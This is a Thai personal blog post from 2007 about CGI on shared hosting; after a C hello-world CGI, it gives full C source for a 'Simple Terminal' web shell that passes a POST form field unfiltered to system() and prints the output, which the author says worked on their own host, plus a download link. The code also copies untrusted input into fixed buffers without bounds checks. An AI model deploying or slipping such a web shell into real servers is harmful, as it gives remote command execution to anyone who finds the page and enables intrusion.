cgi-bin รูอันตรายที่โฮสท์ไทยมักเปิดไว้

1 Comment

เสาร์อาทิตย์ที่แล้วด้วยความอยากใช้ wget จัดเลยลองเขียน cgi ด้วยภาษาซีซะเลย เริ่มแรกก็ไปหาหนังสือมาดูก่อนว่าจะเริ่มยังไงดี เพราะไม่ได้เขียนนานมากหละ ก็ได้เล่มนี้ C++ How to Program ของ Deitel แต่เห็นในเว็บเป็นรุ่นที่ 6 แล้วแต่ที่มีอยู่เป็นรุ่นที่ 3 (เป็น text เล่มแรกที่ซื้อเลยนะเนี๊ยะ :razz: ) เริ่มมามันก็บอกให้เขียนโปรแกรม printf ธรรมดาเลย ได้โค้ดประมาณนี้

ไฟล์: hello.c

#include <stdio.h>

int main() {
  printf("Content-Type: text/html\n\n");
  printf("<html>\n");
  printf("<body>\n");
  printf("<h1>Hello, world</h1>\n");
  printf("</body>\n");
  printf("</html>\n");
  return 0;
}

ด้านบน compile แล้วเปลี่ยนชื่อไฟล์ที่ได้ออกมาเป็นอะไรก็ได้ .cgi


$gcc hello.c -o hello.cgi

แล้วไปวางไว้ที่ directory cgi-bin จากนั้นก็เข้าผ่านเว็บ http://…/cgi-bin/…cgi ซะก็จะได้ข้อความว่า hello, world ขึ้นมาหละ แต่ความสนุกมันไม่ได้อยู่ตรงนี้หรอก มันอยู่ที่ว่า มันสามารถใช้คำสั่ง system(…); ได้ด้วยนี่สิ สุดท้ายก็เลยได้โปรแกรมเล็กๆ ด้านล่างนี้มา


#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main() {
  printf("Content-type: text/html \n\n");
  printf("<html><head><title>Simple Terminal</title></head><body>");
  printf("<form method=\"POST\" action=\"sample.cgi\">");
  printf("<input type=\"text\" name=\"query\" />");
  printf("<input type=\"submit\" value=\"ok\" />");
  printf("</form>");

  int contentLength = 0;

  if (getenv("CONTENT_LENGTH"))
    contentLength = atoi(getenv("CONTENT_LENGTH"));

  char post[1024] = {0};
  char cmd[1024] = {0};
  char rcmd[1024] = {0};

  read(0, post, contentLength);

  strcpy(cmd, post+6);

  printf("Post = %d, %s\n<br/>\n", contentLength, post);
  printf("Cmd = %s\n<br/>\n", cmd);

  char *t = NULL;
  char token[80];
  char gt[] = "%3E";
  char slash[] = "%2F";

  char *tCmd = strstr(cmd, gt);
  while (tCmd != NULL) {
    memset(tCmd, '>', 1);
    memcpy(tCmd+1, tCmd+3, strlen(tCmd+3));
    memset(tCmd+strlen(tCmd)-2, '\0', 2);
    tCmd = strstr(cmd, gt);
  }
  tCmd = strstr(cmd, slash);
  while (tCmd != NULL) {
    memset(tCmd, '/', 1);
    memcpy(tCmd+1, tCmd+3, strlen(tCmd+3));
    memset(tCmd+strlen(tCmd)-2, '\0', 2);
    tCmd = strstr(cmd, slash);
  }

  t = strtok(cmd, " +");
  printf("\n<ul>\n");
  while (t != NULL) {
    strcpy(token,t);
    printf("<li>%s</li>", token);
    t = strtok(NULL, " +");
    strcat(rcmd, token);
    strcat(rcmd, " ");
  }
  printf("\n</ul>\n");

  strcat(rcmd, ">& temp/list.info");

  printf("rcmd = %s\n<br/>\n", rcmd);

  int e = system(rcmd);
  printf("Execute = %d\n<br/>\n", e);
  printf("File data\n<br/>\n");
  FILE *temp = fopen("temp/list.info", "r");
  if (temp != NULL) {
    char line[80];
    char *rs = fgets(line, 80, temp);
    while (!feof(temp)) {
      printf("%s\n<br/>\n", line);
      rs = fgets(line, 80, temp);
    }
  }
  printf("</body></html>");
  return 0;
}

หรือดาวโหลดจากนี่ก็ได้: http://llun.info/shared/terminal.c
อ้อโค้ดด้านบนผมลองกับโฮสท์ที่ใช้อยู่นี่แหละ (appservhost) กำลังหาทางลองกับโฮสท์ที่เป็น windows อยู่แต่ต้องแก้โค้ดแล้วคอมไพล์ใหม่ เรื่องมากนักเลยไว้ก่อนละกัน ไว้อารมณ์ดีเมื่อไหร่ค่อยลองอีกที

One Comment (+add yours?)

  1. pF ;)
    Nov 01, 2007 @ 11:28:23

    หึหึ !^^